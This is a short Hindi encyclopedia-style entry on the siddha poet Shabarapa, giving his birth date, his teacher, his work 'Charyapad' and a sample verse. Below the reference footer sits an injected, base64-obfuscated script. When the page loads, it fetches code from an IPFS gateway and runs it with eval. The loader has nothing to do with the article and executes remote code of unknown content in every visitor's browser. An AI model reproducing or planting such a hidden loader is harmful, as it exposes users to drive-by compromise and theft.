शबरपा
शबरपा (अंग्रेज़ी: Shabrapa) सिद्ध साहित्य की रचना करने वाले प्रमुख सिद्धों में से एक थे। इनका जन्म 780 ई. में हुआ था।
- शबरपा क्षत्रिय थे। सरहपा से इन्होंने ज्ञान प्राप्त किया था।
- ‘चर्यापद’ इनकी प्रसिद्ध पुस्तक है।
- इनकी कविता का उदाहरण निम्न प्रकार है-
हेरि ये मेरि तइला बाड़ी खसमे समतुला
षुकड़ये सेरे कपासु फ़ुटिला।
तइला वाड़िर पासेर जोहणा वाड़ि ताएला
फ़िटेली अंधारि रे आकासु फ़ुलिआ॥
- शबरपा ने माया-मोह का विरोध करके सहज जीवन पर बल दिया तथा उसी को महासुख की प्राप्ति का मार्ग बताया।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>